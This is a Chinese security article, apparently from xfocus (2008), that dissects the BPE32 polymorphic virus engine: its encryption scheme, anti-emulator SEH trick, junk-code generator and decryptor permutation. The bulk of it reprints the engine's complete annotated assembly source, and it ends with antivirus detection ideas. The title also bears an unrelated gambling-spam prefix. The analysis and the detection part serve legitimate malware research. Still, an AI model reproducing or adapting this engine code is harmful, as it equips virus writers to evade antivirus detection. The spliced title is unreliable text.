xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 Xcon English Version

北京赛车冠军规律破解:BPE32 多态引擎剖析


创建时间:2008-11-11
文章属性:原创
文章提交:nEINEI (neineit_at_gmail.com)

BPE32 多态引擎剖析
autor: nEINEI
e-mail: neineit@gmail.com
date:   2008-11-10

一 BPE32简介
二 技术细节分析
   2.0 -- 整体流程设计
   2.1 -- 随机数设计
   2.2 -- 代码加密方案
   2.3 -- 对抗VM的SEH设计
   2.4 -- 随机数生成与寄存器选择
   2.5 -- 垃圾指令生成方式
   2.6 -- 解密器设计
   2.7 -- 重建指令流程
三 代码解析
四 检测方案

一 BPE32简介:
   BPE32(Benny's Polymorphic Engine for Win32)多态引擎是由Benny's /29A在#4期发布的一个病毒多态引擎,之后在病毒编写如(如Win32.Vulcano)及壳的编写(如ASProtect)当中都得到了应用,BPE32是一个很不错的多态引擎,这里将从设计的角度分析该引擎。

   按照Benny's的描述,BPE32引擎有如下特点:
   1 可以通过创建SHE来干扰一些AV
   2 随机使用寄存器做代码的混淆
   3 同一功能代码,由不同的指令动态生成
   4 功能代码具有空间随机分布
   5 具有仿真CALL 及 jmp 指令
   6 在代码之间插入垃圾指令(也包括使用未公开的SALC指令)

   我们先看一下BPE32的调用时的输入参数,
   ESI  -- 指向待加密的virus数据。
   EDI  -- 指向一块内存数据,用来存放由BPE32生成的解密器及加密数据。
   ECX  -- 加解密数据的计数,加解密时按照4byte的方式操作,数据由公式(_end - start +3)/4 获得。
   EBP  -- 做重定位时使用。
   输出参数,
   EAX  -- 解码器加上加密数据后的大小,不对齐,精确到1byte而不是一个DWORD
   调用很方式简单,例如:
   mov esi, vir_body ; 病毒体
   mov edi, pmem     ; 内存空间
   mov ecx, 6c0h     ; 解密计数
   call BPE32
   这样调用后pmem里面就是一个重建的病毒代码了。
     下面将对具体技术细节做分析。
二 技术细节分析
   2.0 流程设计:
   调用BPE32后,将在内存中产生如下方式的3部分功能代码,结构如下:
/-------    +--------------------+
|    |    call  decryptor |  --------->@1
|    +--------------------+
|    |                      |
|    | encryptvirus body  |  --------->@2
|    |                    |
\------>|--------------------+
    |                    |
    |    decryptor       |
    |                    |  --------->@3
    +--------------------+
  @1 是经过计算构造好的一个call调用,因为调用的具体位置要有@2部分决定。
  @2 是一个经过加密后的病毒体。
  @3 是一个解密器,用于对@2部分进行解密,该部分是经过代码混淆变换的。
  这样每次感染其它文件后,重新生成的代码将不再有固定的特征部分,这将使得特征扫描机制失效。

2.1 随机数设计:
  BPE32的随机数部分设计的很简单,利用了RDTCS指令来产生一个随机数字,通过栈中参数X,产生一个0 ~ X-1 之间的数字,当参数是0时,则直接返回产生的该数字。
random    proc
  push edx
  RDTCS
  xor edx, edx        ;nulify EDX, we need only EAX
  cmp [esp+8], edx        ;is parameter==0 ?
je r_out            ;yeah, do not truncate result
div dword ptr [esp+8]    ;divide it
xchg eax, edx        ;remainder as result
r_out:    pop edx        ;restore EDX
  ret Pshd                  ;quit procedure and destroy pushed parameter
random    endp

2.2 代码加密方案:
  BPE32采用的加密方案是,先产生两个随机数,一个作为密钥B_key(不变的数字),一个作为增量密钥I_key(每次运算后相加),每次使得B_key + I_key,然后 xor 待加密数据一个DWORD,实现如下:

push 0                     ;产生一个无索引范围的随机数
call random        
xchg edx, eax
mov [ebp + xor_key - mgdelta], edx    ;存储基密钥
push 0                     ;产生一个无索引范围的随机数
call random
xchg ebx, eax
mov [ebp + key_inc - mgdelta], ebx    ;存储增量密钥
x_loop:    lodsd                 ;加密virus body
xor eax, edx
stosd
add edx, ebx
loop x_loop

2.3 对抗VM的SEH设计:
  对于上面小节中提到的 @3部分,其实是由如下部分组成的,decryptor如下图:
+------------------+ <--------\
|  seh handler     |          |
+------------------+          |
|  deleta geter    |          |
+------------------+          |
|   decryption     |          |
+------------------+          |
|  loop decryptor  | ---------/
+------------------+
seh handler    -- 安装一个seh处理过程。
deleta geter   -- 因为@3部分是由垃圾指令随机填充的,所以每循环一次后需要进行一次重定位。
decryption     -- 解密部分,同样由垃圾指令所包围。
loop decryptor -- 跳向seh handler。
对于SEH BPE32会产生如下形式的代码:
      start:
      call end_seh_fn
/---->mov esp, [esp+8]       ;--> 相当于push  seh->handler
|     jmp seh_rs
|     end_seh_fn:
|     sub edx, edx
|     push dword ptr fs:[edx] ;--> 相当于push  seh->prev
|     mov fs:[edx], esp
\-----inc byte ptr [edx]      ;--> 该处引发异常,跳向上面语句
      jmp start
seh_rs:    xor edi, edi
      pop dword ptr fs:[edi]
      pop edi    
    这样对于使用vm技术的aver,如果没有做好seh仿真,将导致仿真失败,无法完成检测,而jmp start 这条语句也很重要,有些aver会实现指令预取的功能(具体可参考《对抗启发式代码仿真检测技术分析》一文),这样会另aver陷入无休止的仿真循环当中。

2.4 随机数生成与寄存器选择
    BPE32 通过get_reg 函数产生一个随机的寄存器索引,即产生0 ~ 7 之间的整数,不使用EAX(0),ESP(100b) ,在调用的外部也会判断是否使用了的EBP(101b),实现如下:
get_reg proc
push 8       ; 产生一个随机的 0 ~ 7 之间的整数
call random
test eax, eax
je get_reg   ;不能使用eax
cmp al, 100b ;不能使用esp
je get_reg
ret
get_reg endp
2.5 垃圾指令生成方式:
    BPE32 通过调用rjunk 函数来产生垃圾指令,这部分可以产生1byte,2 byte,3byte,5byte垃圾指令,及jmp call类的仿真指令(无疑这类指令的加入使得junk看起来更像真实的指令),同时为了使junk的产生更加随机化,BPE32做了一个简单映射关系。
    0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call
    左侧索引(eax,随机数) = 右侧(垃圾指令字节数),也就是rjunk先产生一个0 ~ 7 的随机数,根据这个索引映射的列表,进行垃圾指令的生成,例如:
    eax 是 0时,产生5byte junk
    eax 是 1时,产生1byte junk 和 2byte junk
    eax 是 2时,则先产生2byte junk,再产生1byte junk
    eax 是 7时,产生jmp或call
    按照以上的映射关系,依次类推的产生垃圾指令,下面以1byte junk的代码来说如何产生垃圾代码。
1 byte junk 示例:
esi -- > 待加密数据
edi -- > 内存buff
产生1byte junk指令到内存buff
j1:
    call junx1      ;one byte junk instruction
    nop
    dec eax
    SALC
    inc eax
    clc
    cwde
    stc
    cld
  junx1:
  pop esi                ; 1 byte junk 指令首地址,即指向nop指令
    push 8
    call random
    add esi, eax    ; 随机定位一条
    movsb           ;加入edi指向的内存当中
    ret
   其它的junk产生方式仅比 1byte junk复杂一些而已,故不再赘述,BPE32还有一个重要的功能指令产生函数,make_xor,make_xor2,make_xor主要是将指定的寄存器(由bl寄存器中的内容指定)清0,make_xor可以产生随机的,xor,Rx,Rx / sub Rx,Rx/ mov Rx,0 这样的等效指令,make_xor2则产生一个指定寄存器xor某一数值的指令,例如:
    mov bh,2
    call make_xor2
    mov eax,01234567h
    stosd
    以上则产生一条xor edx,01234567h这样的指令,以上两个函数功能简单,故不再做过多说明。  

2.6 解密器设计
  因为BPE32可以随机的使用寄存器,故这里用Rx来表示任意一个可用的寄存器,每条语句的Rx并不一定代表同一个寄存器。解密器的设计是BPE32多态的重点,我这里先将主要的功能代码表示出来。
     mov  Rx,src      --------  I1  获得待解密的地址,放入Rx中
     mov  Rx, cnt      --------  I2  获得要解密的此时,放入Rx中
/--->xor  Rx,Rx       --------  I3  解密
|    add  Rx,4        --------  I4  待解密的地址加4
|    add  Rx,1        --------  I5  计数器加1
|    add  Rx,Rx       --------  I6  基密钥 + 增量密钥
|    jcxz xxx          --------  I7  测试解密是否完成,完成后跳出循环
\--- jmp  xxx          --------  I8  继续解密
   BPE32围绕 I1 ~ I8 ,通过随机寄存器、插入垃圾指令、变换指令顺序、同等指令替换等手段产生来产生数据不同但功能相同的解密代码,下面我将列举一个去除垃圾指令的BPE32产生的解密代码。
0040202B    E8 00000000     CALL T-BPE32.00402030          ;构造的一个call

00402030    8B3C24          MOV EDI,DWORD PTR SS:[ESP]
00402033    58              POP EAX
00402034    81EF 30204000   SUB EDI,T-BPE32.00402030       ;构造一个重定位
; I1 的一种生成方式,F7973BCB为随机产生的一个密钥,xor后,ecx 指向了最初call调用后地址,即待解密数据首地址
0040203A    68 CB3B97F7     PUSH F7973BCB;构造一个随机加密的密钥使得ecx指向最初的一个call调用
0040203F    59              POP ECX                        ;这里ecx寄存器随机生成
00402040    81F1 CE1BD7F7   XOR ECX,F7D71BCE

00402046    03CF            ADD ECX,EDI             ;加重定位,获得真正数据的指向
;I2 的一种生成方式,方案类似于 I1
00402048    33D2            XOR EDX,EDX         ;获得解密的次数,同样采用随机密钥来混淆
0040204A    81C2 68D4F805   ADD EDX,5F8D468
00402050    81F2 6AD4F805   XOR EDX,5F8D46A
;I3
00402056    2BDB            SUB EBX,EBX                    ;获得密钥,该处密钥均为0
00402058    81C3 00000000   ADD EBX,0
0040205E    3119            XOR DWORD PTR DS:[ECX],EBX     ;解密

;I4 使计数增加的一种方式
00402060    41              INC ECX                                                             ;源数据增加4
00402061    41              INC ECX
00402062    41              INC ECX
00402063    41              INC ECX

;I5
00402064    B8 CC54578A     MOV EAX,8A5754CC               ;循环计数减1
00402069    2BD0            SUB EDX,EAX
0040206B    81C2 CB54578A   ADD EDX,8A5754CB
;I6
00402071    B8 00000000     MOV EAX,0                                             ;基址密钥+增量密钥加(目前增量是0)
00402076    03D8            ADD EBX,EAX
;I7
00402078    51              PUSH ECX
00402079    8BCA            MOV ECX,EDX
/-0040207B  E3 03           JECXZ SHORT T-BPE32.00402080   ;测试看解密是否完成
|   ;I8
|0040207D    59             POP ECX
|0040207E  ^ EB DE          JMP SHORT T-BPE32.0040205E     ;继续进行解密
\-->00402080    59          POP ECX
00402081    61              POPAD
00402082    C3              RETN2.7 重建指令流程
    针对解密器,BPE32对执行先后顺序无关的代码,进行了重新排列,首先BPE32现将这些功能分成8个部分,即greg0 ~ greg7个处理例程。其中:
    greg0  -- 产生SEH部分代码
    greg1  -- 产生SEH部分代码
    greg2  -- 产生mov Rx,src 类代码
    greg3  -- 产生mov Rx, cnt类代码
    以上部分例程不进行代码重排序。
    greg4  --    产生密钥自增代码
    greg5  -- 产生待解密数据自增代码
    greg6  -- 产生计数器自减的代码
    greg7  -- 产生解密跳转的代码
    BPE32会对 greg4 ~ greg6 进行重排序,因这几部分代码进行重排序,不会影响解密代码功能,以此来达到代码混淆的目的。同时这几部分功能都有能力产生,功能一致但代码不同的新指令如:
greg4提供4种等效方案,供随机选择
1:XCHG EAX, Rx    
   XOR Rx, Rx  
   OR Rx, EAX
   ADD Rx, value
2: add Rx,value
3: mov eax,value
   add Rx,eax
4: mov eax,Rx
   add eax,value
   xchg eax,Rx    
greg5 提供多种等效方案,供随机选择,如
1:
   inc Rx  ;执行4次
2:                       3:
  mov eax,Rx ,             mov eax,4
  add eax,4                add Rx,eax
  xchg eax,Rx
greg6提供了4种等效方案,供随机选择
1:sub Rx,1
2:dec Rx,1     
3:
mov eax, random_v
sub Rx, eax
add reg,random -1
4:
xchg eax,Rx
dec eax
xchg eax,Rx
greg7提供了两种等效方案,供随机选择
1:
push ecx
mov ecx, reg
jecxz label
pop ecx
jmp decrypt_loop
label:
pop ecx
2 :
xor eax, eax
dec eax
add eax, reg
jns decrypt_loop
而整体greg4 ~ greg6的排序规则由如下代码产生:
push 6            ;产生0 ~ 5种方案的随机排列顺序
call random                
test eax, eax
je g5            ;greg4 - key incremention
cmp al, 1            ;greg5 - source incremention
je g1            ;greg6 - count decremention
cmp al, 2            ;greg7 - decryption loop
je g2
cmp al, 3
je g3
cmp al, 4
je g4
g0:    call gg1
call greg6
jmp g_end
g1:    call gg2
call greg5
jmp g_end
g2:    call greg5
call gg2
jmp g_end
g3:    call greg5
gg3:    call greg6
jmp g_out
g4:    call greg6
call gg1
jmp g_end
g5:    call greg6
call greg5
g_out:    call greg4
g_end:    call greg7
mov al, 61h                
stosb                            
call rjunk                
mov al, 0c3h        
stosb                            
pop eax                    
sub eax, edi        
neg eax                    
mov [esp.Pushad_eax], eax        
popad                    
ret    ;整个BPE32结束
三 代码解析
   下面将对BPE32关键处的代码做简要的注释;
RDTCS    equ    <dw    310Fh>      ;RDTCS opcode
SALC    equ    <db    0D6h>      ;SALC opcode
BPE32   Proc
    pushad              ;save all regs
    push edi              ;save these regs for l8r use
    push ecx              ;    ...
    mov edx, edi          ;    ...
    push esi              ;preserve this reg
    call rjunk          ;generate random junk instructions
    pop esi              ;restore it
    mov al, 0e8h          ;create CALL instruction
    stosb              ;    ...
    mov eax, ecx          ;    ...
    imul eax, 4          ;    ...
    stosd              ;    ...
    ;edx保存有最开始的edi
    mov eax, edx        ;calculate size of CALL+junx
    sub edx, edi        ;    ...
    neg edx            ;    ...
    add edx, eax        ;    ...
    push edx            ;保存 call 与 填充垃圾指令的差值        
    push 0            ;get random number
    call random        ;    ...
    xchg edx, eax
    mov [ebp + xor_key - mgdelta], edx    ;use it as xor constant
    push 0                    ;get random number
    call random                ;    ...
    xchg ebx, eax
    mov [ebp + key_inc - mgdelta], ebx    ;use it as key increment constant
x_loop:    lodsd                    ;load DWORD
    xor eax, edx                ;encrypt it
    stosd                    ;store encrypted DWORD
    add edx, ebx                ;increment key
    loop x_loop                ;next DWORD
;    以上完成了对病毒体的加密
;    下面进行利用SEH对抗AV VM仿真
    call rjunk            ;generate junx
    mov eax, 0006e860h            ;generate SEH handler
    stosd                    ;    ...
    mov eax, 648b0000h            ;    ...
    stosd                    ;    ...
    mov eax, 0ceb0824h            ;    ...
    stosd                    ;    ...
    ;以上产生类似如下代码
    ;pushad
    ;call t_bpe32.0040200c
    ;mov esp,dword ptr ss:[esp+8]
    ;jmp short t_bpe32.00402018    
greg0:    call get_reg                ;get random register
    cmp al, 5                                    ;MUST NOT be EBP register
    je greg0
    mov bl, al                                ;store register
    ;dl 是参数,11 是产生非mov reg,reg 指令的标志
    mov dl, 11                                ;proc parameter (do not generate MOV)
    call make_xor        ;create XOR or SUB instruction
    inc edx                                        ;destroy parameter
    mov al, 64h                                ;generate FS:
    stosb                                            ;store it
    mov eax, 896430ffh        ;next SEH instructions
    or ah, bl                                    ;change register
    stosd                                            ;store them
    mov al, 20h                                ;    ...
    add al, bl                                ;    ...
    stosb                                            ;    ...
    ;以上将产生类似如下代码
    ;xor Rx,Rx
    ;push dword ptr fs:[Rx]
    ;mov  dword ptr fs:[Rx],esp    
    push 2                ;get random number
    call random
    test eax, eax
    je _byte_
    mov al, 0feh    ;generate INC DWORD PTR
    jmp _dw_
_byte_:    mov al, 0ffh    ;generate INC BYTE PTR
_dw_:    stosb        ;store it
    mov al, bl    ;store register
    stosb                    
    mov al, 0ebh    ;generate JUMP SHORT
    stosb                    
    mov al, -24d    ;generate jump to start of code (trick
  stosb               ;for better emulators, e.g. NODICE32)
; 以上产生类似如下代码  
; inc byte ptr [edx]
; jmp start            
    call rjunk                                ;generate junx
greg1:    call get_reg        ;generate random register
    cmp al, 5                                    ;MUST NOT be EBP
    je greg1
    mov bl, al                                ;store it
    call make_xor        ;generate XOR,SUB reg, reg or MOV reg, 0
    mov al, 64h        ;next SEH instructions
    stosb                    
    mov al, 8fh                
    stosb                    
    mov al, bl                
    stosb                    
    mov al, 58h                
    add al, bl                
    stosb        
    mov al, 0e8h        ;generate CALL
    stosb                    
    xor eax, eax                
    stosd                    
    push edi             ;store for l8r use
    call rjunk        ;call junk generator

    call get_reg        ;random register
    mov bl, al        ;store it
    push 1            ;random number (0-1)
    call random                
    test eax, eax
    jne next_delta
    mov al, 8bh        ;generate MOV reg, [ESP]; POP EAX
    stosb
    mov al, 80h
    or al, bl
    rol al, 3
    stosb
    mov al, 24h
    stosb
    mov al, 58h
    jmp bdelta
;以上产生类似如下代码
;seh_rs:    
;    xor Rx, Rx
;    pop dword ptr fs:[Rx]
;    pop Rx
next_delta:
    mov al, bl                ;generate POP reg; SUB reg, ...
    add al, 58h
bdelta:    stosb
    mov al, 81h
    stosb
    mov al, 0e8h
    add al, bl
    stosb
    pop eax
    stosd
    call rjunk            ;random junx
    ;做一个随机的重定位    
    xor bh, bh            ;parameter (first execution only)
    call greg2            ;generate MOV sourcereg, ...
    mov al, 3                ;generate ADD sourcereg, deltaoffset
    stosb                    
    mov al, 18h                
    or al, bh                
    rol al, 3                
    or al, bl                
    stosb                    
    mov esi, ebx            ;store EBX
    call greg2            ;generate MOV countreg, ...
    mov cl, bh            ;store count register
    mov ebx, esi            ;restore EBX

    call greg3            ;generate MOV keyreg, ...
    push edi                ;store this position for jump to decryptor
    mov al, 31h            ;generate XOR [sourcereg], keyreg
    stosb                    
    mov al, ch                
    rol al, 3                
    or al, bh                
    stosb                    
    push 6                ;this stuff will choose ordinary of calls
    call random            ;to code generators
    test eax, eax
    je g5                ;greg4 - key incremention
    cmp al, 1                ;greg5 - source incremention
    je g1                ;greg6 - count decremention
    cmp al, 2                ;greg7 - decryption loop
    je g2
    cmp al, 3
    je g3
    cmp al, 4
    je g4
g0:    call gg1
    call greg6
    jmp g_end
g1:    call gg2
    call greg5
    jmp g_end
g2:    call greg5
    call gg2
    jmp g_end
g3:    call greg5
gg3:    call greg6
    jmp g_out
g4:    call greg6
    call gg1
    jmp g_end
g5:    call greg6
    call greg5
g_out:    call greg4
g_end:    call greg7
    mov al, 61h            ;generate POPAD instruction
    stosb                    
    call rjunk            ;junk instruction generator
    mov al, 0c3h            ;RET instruction
    stosb                    
    pop eax                ;calculate size of decryptor and encrypted data
    sub eax, edi                
    neg eax                    
    mov [esp.Pushad_eax], eax        ;store it to EAX register
    popad                ;restore all regs
    ret                ;and thats all folx
get_reg proc                ;this procedure generates random register
    push 8                ;random number (0-7)
    call random            ;    ...
    test eax, eax
    je get_reg            ;MUST NOT be 0 (=EAX is used as junk register)
    cmp al, 100b            ;MUST NOT be ESP
    je get_reg
    ret
get_reg endp
make_xor proc            ;this procedure will generate instruction, that
    push 3            ;will nulify register (BL as parameter)
    call random
    test eax, eax
    je _sub_
    cmp al, 1
    je _mov_
    mov al, 33h         ;generate XOR reg, reg
    jmp _xor_
_sub_:    mov al, 2bh        ;generate SUB reg, reg
_xor_:    stosb
    mov al, 18h
    or al, bl
    rol al, 3
    or al, bl
    stosb
    ret
_mov_:    cmp dl, 11        ;generate MOV reg, 0
    je make_xor
    mov al, 0b8h
    add al, bl
    stosb
    xor eax, eax
    stosd
    ret
make_xor endp
gg1:    call greg4
    jmp greg5
gg2:    call greg4
    jmp greg6

random    proc                ;this procedure will generate random number                        
    push edx                ;save EDX
  RDTCS                    ;RDTCS instruction - reads PCs tix and stores
    xor edx, edx            ;nulify EDX, we need only EAX
    cmp [esp+8], edx        ;is parameter==0 ?
    je r_out                
    div dword ptr [esp+8]    ;divide it
    xchg eax, edx        ;remainder as result
r_out:    pop edx            ;restore EDX
    ret Pshd            ;quit procedure and destroy pushed parameter
random    endp
make_xor2 proc            ;create XOR instruction
    mov al, 81h
    stosb
    mov al, 0f0h
    add al, bh
    stosb
    ret
make_xor2 endp
greg2    proc            ;1 parameter = source/count value
    call get_reg        ;get register
    cmp al, bl        ;already used ?
    je greg2
    cmp al, 5
    je greg2
    cmp al, bh
    je greg2
    mov bh, al
    mov ecx, [esp+4]    ;get parameter(构造的第一个call指令后下一个地址)
    push 5        ;choose instructions
    call random
    test eax, eax
    je s_next0
    cmp al, 1
    je s_next1
    cmp al, 2
    je s_next2
    cmp al, 3
    je s_next3

    mov al, 0b8h            ;MOV reg, random_value
    add al, bh            ;XOR reg, value
    stosb                ;param = random_value xor value
    push 0
    call random
    xor ecx, eax
    stosd
    call make_xor2
    mov eax, ecx
    jmp n_end2
s_next0:mov al, 68h        ;PUSH random_value
    stosb            ;POP reg
    push 0            ;XOR reg, value
    call random        ;result = random_value xor value
    xchg eax, ecx
    xor eax, ecx
    stosd
    mov al, 58h
    add al, bh
    stosb
    call make_xor2
    xchg eax, ecx
    jmp n_end2
s_next1:mov al, 0b8h    ;MOV EAX, random_value
    stosb        ;MOV reg, EAX
    push 0        ;SUB reg, value
    call random    ;result = random_value - value
    stosd
    push eax
    mov al, 8bh
    stosb
    mov al, 18h
    or al, bh
    rol al, 3
    stosb
    mov al, 81h
    stosb
    mov al, 0e8h
    add al, bh
    stosb
    pop eax
    sub eax, ecx
    jmp n_end2
s_next2:push ebx        ;XOR reg, reg
    mov bl, bh    ;XOR reg, random_value
    call make_xor    ;ADD reg, value
    pop ebx        ;result = random_value + value
    call make_xor2
    push 0
    call random
    sub ecx, eax
    stosd
    push ecx
    call s_lbl
    pop eax
    jmp n_end2
s_lbl:    mov al, 81h        ;create ADD reg, ... instruction
    stosb
    mov al, 0c0h
    add al, bh
    stosb
    ret
s_next3:push ebx            ;XOR reg, reg
    mov bl, bh        ;ADD reg, random_value
    call make_xor        ;XOR reg, value
    pop ebx            ;result = random_value xor value
    push 0
    call random
    push eax
    xor eax, ecx
    xchg eax, ecx
    call s_lbl
    xchg eax, ecx
    stosd
    call make_xor2
    pop eax    
n_end2:    stosd
    push esi
    call rjunk
    pop esi
    ret Pshd
greg2    endp
greg3    proc
    call get_reg            ;get register
    cmp al, 5                ;already used ?
    je greg3
    cmp al, bl
    je greg3
    cmp al, bh
    je greg3
    cmp al, cl
    je greg3
    mov ch, al
    mov edx, 0            ;get encryption key value
xor_key = dword ptr $ - 4
    push 3
    call random
    test eax, eax
    je k_next1
    cmp al, 1
    je k_next2
    push ebx                ;XOR reg, reg
    mov bl, ch            ;OR, ADD, XOR reg, value
    call make_xor
    pop ebx

    mov al, 81h
    stosb
    push 3
    call random
    test eax, eax
    je k_nxt2
    cmp al, 1
    je k_nxt3
    mov al, 0c0h
k_nxt1:    add al, ch
    stosb
    xchg eax, edx
n_end1:    stosd
k_end:    call rjunk
    ret
k_nxt2:    mov al, 0f0h
    jmp k_nxt1
k_nxt3:    mov al, 0c8h
    jmp k_nxt1
k_next1:mov al, 0b8h                ;MOV reg, value
    jmp k_nxt1
k_next2:mov al, 68h                ;PUSH value
    stosb                    ;POP reg
    xchg eax, edx
    stosd
    mov al, ch
    add al, 58h
    jmp i_end1
greg3    endp
greg4    proc
    mov edx, 0             ;get key increment value
key_inc = dword ptr $ - 4
i_next:    push 3
    call random
    test eax, eax
    je i_next0
    cmp al, 1
    je i_next1
    cmp al, 2
    je i_next2
    mov al, 90h            ;XCHG EAX, reg
    add al, ch            ;XOR reg, reg
    stosb                ;OR reg, EAX
    push ebx                ;ADD reg, value
    mov bl, ch
    call make_xor
    pop ebx
    mov al, 0bh
    stosb
    mov al, 18h
    add al, ch
    rol al, 3
    stosb
i_next0:mov al, 81h            ;ADD reg, value
    stosb
    mov al, 0c0h
    add al, ch
    stosb
    xchg eax, edx
    jmp n_end1
i_next1:mov al, 0b8h            ;MOV EAX, value
    stosb                                            ;ADD reg, EAX
    xchg eax, edx
    stosd
    mov al, 3
    stosb
    mov al, 18h
    or al, ch
    rol al, 3
i_end1:    stosb
i_end2:    call rjunk
    ret
i_next2:mov al, 8bh                ;MOV EAX, reg
    stosb                                        ;ADD EAX, value
    mov al, 0c0h                ;XCHG EAX, reg
    add al, ch
    stosb
    mov al, 5
    stosb
    xchg eax, edx
    stosd
    mov al, 90h
    add al, ch
    jmp i_end1
greg4    endp
greg5    proc
    push ecx
    mov ch, bh
    push 4
    pop edx
    push 2
    call random
    test eax, eax
    jne ng5
    call i_next                ;same as previous, value=4
    pop ecx
    jmp k_end
ng5:    mov al, 40h                ;4x inc reg
    add al, ch
    pop ecx
    stosb
    stosb
    stosb
    jmp i_end1
greg5    endp
greg6    proc
    push 5
    call random
    test eax, eax
    je d_next0
    cmp al, 1
    je d_next1
    cmp al, 2
    je d_next2
    mov al, 83h                ;SUB reg, 1
    stosb
    mov al, 0e8h
    add al, cl
    stosb
    mov al, 1
    jmp i_end1
d_next0:mov al, 48h                ;DEC reg
    add al, cl
    jmp i_end1
d_next1:mov al, 0b8h                ;MOV EAX, random_value
    stosb                                            ;SUB reg, EAX
    push 0                                        ;ADD reg, random_value-1
    call random
    mov edx, eax
    stosd
    mov al, 2bh
    stosb
    mov al, 18h
    add al, cl
    rol al, 3
    stosb
    mov al, 81h
    stosb
    mov al, 0c0h
    add al, cl
    stosb
    dec edx
    mov eax, edx
    jmp n_end1
d_next2:mov al, 90h                ;XCHG EAX, reg
    add al, cl                ;DEC EAX
    stosb                                        ;XCHG EAX, reg
    mov al, 48h
    stosb
    mov al, 90h
    add al, cl
    jmp i_end1
greg6    endp

greg7    proc
    mov edx, [esp+4]
    dec edx
    push 2
    call random
    test eax, eax
    je l_next0
    mov al, 51h            ;PUSH ECX
    stosb                ;MOV ECX, reg
    mov al, 8bh            ;JECXZ label
    stosb                ;POP ECX
    mov al, 0c8h            ;JMP decrypt_loop
    add al, cl            ;label:
    stosb                ;POP ECX
    mov eax, 0eb5903e3h
    stosd
    sub edx, edi
    mov al, dl
    stosb
    mov al, 59h
    jmp l_next
l_next0:push ebx        ;XOR EAX, EAX
    xor bl, bl    ;DEC EAX
    call make_xor    ;ADD EAX, reg
    pop ebx             ;JNS decrypt_loop
    mov al, 48h
    stosb
    mov al, 3
    stosb
    mov al, 0c0h
    add al, cl
    stosb
    mov al, 79h
    stosb
    sub edx, edi
    mov al, dl
l_next:    stosb
    call rjunk
    ret Pshd
greg7    endp

rjunkjc:push 7
    call random
    jmp rjn

    
rjunk    proc      ;junk instruction generator
    push 8
    call random;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call
          ;左侧索引(eax,随机数) = 右侧(垃圾指令字节数)
rjn:    test eax, eax
    je j5
    cmp al, 1
    je j_1x2
    cmp al, 2
    je j_2x1
    cmp al, 4
    je j2
    cmp al, 5
    je j3
    cmp al, 6
    je r_end
    cmp al, 7
    je jcj
j1:    call junx1        ;one byte junk instruction
    nop
    dec eax
    SALC
    inc eax
    clc
    cwde
    stc
    cld
junx1:    pop esi
    push 8
    call random
    add esi, eax
    movsb
    ret
j_1x2:    call j1            ;one byte and two byte
    jmp j2
j_2x1:    call j2            ;two byte and one byte
    jmp j1
j3:    call junx3
    db    0c1h, 0c0h    ;rol eax, ...
    db    0c1h, 0e0h    ;shl eax, ...
    db    0c1h, 0c8h    ;ror eax, ...
    db    0c1h, 0e8h    ;shr eax, ...
    db    0c1h, 0d0h    ;rcl eax, ...
    db    0c1h, 0f8h    ;sar eax, ...
    db    0c1h, 0d8h    ;rcr eax, ...
    db    083h, 0c0h
    db    083h, 0c8h
    db    083h, 0d0h
    db    083h, 0d8h
    db    083h, 0e0h
    db    083h, 0e8h
    db    083h, 0f0h
    db    083h, 0f8h    ;cmp eax, ...
    db    0f8h, 072h    ;clc; jc ...
    db    0f9h, 073h    ;stc; jnc ...
junx3:    pop esi            ;three byte junk instruction
    push 17
    call random
    imul eax, 2
    add esi, eax
    movsb
    movsb
r_ran:    push 0
    call random
    test al, al
    je r_ran
    stosb
    ret
j2:    call junx2
    db    8bh        ;mov eax, ...
    db    03h        ;add eax, ...
    db    13h        ;adc eax, ...
    db    2bh        ;sub eax, ...
    db    1bh        ;sbb eax, ...
    db    0bh        ;or eax, ...
    db    33h        ;xor eax, ...
    db    23h        ;and eax, ...
    db    33h        ;test eax, ...

junx2:    pop esi            ;two byte junk instruction
    push 9
    call random
    add esi, eax
    movsb
    push 8
    call random
    add al, 11000000b
    stosb
r_end:    ret
j5:    call junx5
    db    0b8h        ;mov eax, ...
    db    05h        ;add eax, ...
    db    15h        ;adc eax, ...
    db    2dh        ;sub eax, ...
    db    1dh        ;sbb eax, ...
    db    0dh        ;or eax, ...
    db    35h        ;xor eax, ...
    db    25h        ;and eax, ...
    db    0a9h        ;test eax, ...
    db    3dh        ;cmp eax, ...

junx5:    pop esi            ;five byte junk instruction
    push 10
    call random
    add esi, eax
    movsb
    push 0
    call random
    stosd
    ret
jcj:    call rjunkjc        ;junk
    push edx        
    push ebx        ;junk
    push ecx        
    mov al, 0e8h        ;CALL label1
    stosb            
    push edi        
    stosd            
    push edi        
    call rjunkjc        
    mov al, 0e9h        ;JMP label2    
    stosb
    mov ecx, edi
    stosd
    mov ebx, edi            ; 保存后方要修改jmp地址时的EDI,
    call rjunkjc
    pop eax
    sub eax, edi
    neg eax
    mov edx, edi
    pop edi
    stosd
    mov edi, edx
    call rjunkjc
    mov al, 0c3h                ; ret
    stosb
    call rjunkjc
    sub ebx, edi            ;前面指令jmp 后的地址值
    neg ebx
    xchg eax, ebx
    push edi
    mov edi, ecx
    stosd
    pop edi
    call rjunkjc
    pop ecx
    pop ebx
    pop edx
    ret
rjunk    endp
BPE32     EndP    ;BPE32 ends here

四 检测方案
   针对BPE32产生的代码大致可以有三种检测方案(当然也可能有更多);
   1 通过VM仿真执行,解密后按特征码方式匹配,仿真结束的标志可以通过连续内存操作结束来判断。
   2 通过识别SEH部分来检测是否被bpe32多态引擎感染过,首先可以通过带通配符的检测方法,定位到seh部分,当识别到inc byte ptr [Rx] 引发异常,及后面的jmp start时,即可判断被感染(当然该方案不准确,存在误报)。
   3 如果方案1的特征匹配失效过,可对vm仿真解密后buff进行算法扫描,具体方案,记录第一个call指令后的地址设为v_callnext,而后搜索重定位代码,之后如发现连续的寄存器操作则计算该操作值(大家可查看前面的解析,执行到这一步时是进行解密前源数据的获取,当然这其中包含插入的垃圾指令)以上面的代码为例,执行的是如下代码:
0040203A    68 CB3B97F7     PUSH F7973BCB;构造一个随机加密的密钥使得ecx指向最初的一个call调用
0040203F    59              POP ECX                        ;这里ecx寄存器是随机生成的
00402040    81F1 CE1BD7F7   XOR ECX,F7D71BCE
if(v_callnext == F7973BCB ^ F7D71BCE)
{
   printf("found Polymorphic virus\n");
}    
   该搜索过程需要设置步长(100 字节以内就可以),方案3检测速度慢,同样存在误报问题。
